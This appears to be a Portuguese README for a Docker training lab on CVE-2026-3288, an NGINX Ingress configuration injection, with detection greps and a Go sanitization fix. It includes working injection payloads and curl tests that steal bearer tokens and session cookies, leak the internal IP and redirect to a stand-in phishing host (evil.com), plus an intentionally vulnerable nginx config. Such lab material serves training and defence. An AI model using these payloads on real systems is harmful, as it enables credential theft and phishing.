# Laboratório vulnerável baseado em Docker para CVE-2026-3288 NGINX Ingress configuration injection, com scripts de exploração, monitoramento de detecção e orientação de remediação para treinamento de segurança autorizado.
⚠️ AVISO: Este laboratório contém configurações intencionalmente vulneráveis para TREINAMENTO DE SEGURANÇA AUTORIZADO APENAS
CVE-2026-3288 (CVSS 8.8 ALTA) - Injeção de configuração no NGINX Ingress Controller
") na configuração de caminhoA função buildProxyPass() não sanitiza a entrada de caminho antes de interpolá-la na configuração do nginx, permitindo que atacantes escapem de strings entre aspas e injetem diretivas arbitrárias do nginx.
CVE-2026-3288-lab/
├── README.md # Este arquivo
├── docker-compose.yml # Configuração principal do laboratório
├── docker/
│ ├── nginx/
│ │ ├── Dockerfile # Configuração NGINX vulnerável
│ │ ├── nginx.conf # Configuração base
│ │ └── vulnerable-config.conf # Tratamento de caminho vulnerável
│ └── backend/
│ ├── Dockerfile # Aplicação backend simples
│ └── app.py # Aplicação Flask
├── exploits/
│ ├── exploit.py # Script de exploração automatizado
│ ├── payloads.txt # Coleção de payloads de exploração
│ └── test-exploits.sh # Testa todos os exploits
├── detection/
│ └── monitor-logs.sh # Monitora tentativas de exploração
└── cleanup/
└── cleanup.sh # Remove todos os recursos do laboratório
cd CVE-2026-3288-lab
# Iniciar ambiente vulnerável
docker-compose up -d
# Verificar status
docker-compose ps
# Testar se o backend está em execução
curl http://localhost:8080/
# Testar se o NGINX está em execução
curl http://localhost/
cd exploits
# Exploração automatizada
python3 exploit.py --all
# Ou testar exploits individuais
bash test-exploits.sh
# Observar logs do NGINX para exploração
docker-compose logs -f nginx
# Monitorar detecção
cd detection
bash monitor-logs.sh
docker-compose down -v
Injetar diretiva return do nginx para servir conteúdo controlado pelo atacante.
Payload:
/api" return 200 "HACKED BY ATTACKER
Teste:
curl 'http://localhost/api" return 200 "HACKED'
Refletir cabeçalhos de Authorization na resposta para roubar tokens Bearer.
Payload:
/login" return 200 "Token: $http_authorization
Teste:
curl -H "Authorization: Bearer secret123" 'http://localhost/login" return 200 "Token: $http_authorization'
Redirecionar usuários para site de phishing controlado pelo atacante.
Payload:
/" return 302 "https://evil.com/phishing
Teste:
curl -I 'http://localhost/" return 302 "https://evil.com/phishing'
Vazar informações internas do servidor.
Payload:
/" return 200 "Internal IP: $server_addr
Teste:
curl 'http://localhost/" return 200 "Internal IP: $server_addr'
Roubar cookies de sessão.
Payload:
/" return 200 "Cookies: $http_cookie
Teste:
curl -H "Cookie: session=abc123" 'http://localhost/" return 200 "Cookies: $http_cookie'
# Configuração vulnerável
location ~ "^/api" {
rewrite "(?i)/api" /backend break;
proxy_pass http://backend;
}
Quando o caminho contém ", ele quebra a string entre aspas:
# Entrada do atacante: /api" return 200 "HACKED
# Resulta em:
location ~ "^/api" return 200 "HACKED" {
# A configuração original agora está quebrada
}
# Observar padrões suspeitos
docker-compose logs nginx | grep -E '(return|rewrite|set).*"'
# Verificar configuração do NGINX para diretivas injetadas
docker exec cve-2026-3288-nginx cat /etc/nginx/nginx.conf | grep -A5 "location"
" e \// Antes (vulnerável)
path := location.Path
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)
// Depois (corrigido)
path := sanitizeQuotedRegex(location.Path)
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)
Após concluir este laboratório, você entenderá:
# Verificar logs
docker-compose logs
# Reiniciar
docker-compose restart
# Alterar portas no docker-compose.yml
# Ou parar serviços conflitantes
sudo lsof -i :80
# Verificar se o NGINX está em execução
docker-compose ps nginx
# Verificar configuração do NGINX
docker exec cve-2026-3288-nginx nginx -t
Criado apenas para fins autorizados de treinamento e pesquisa em segurança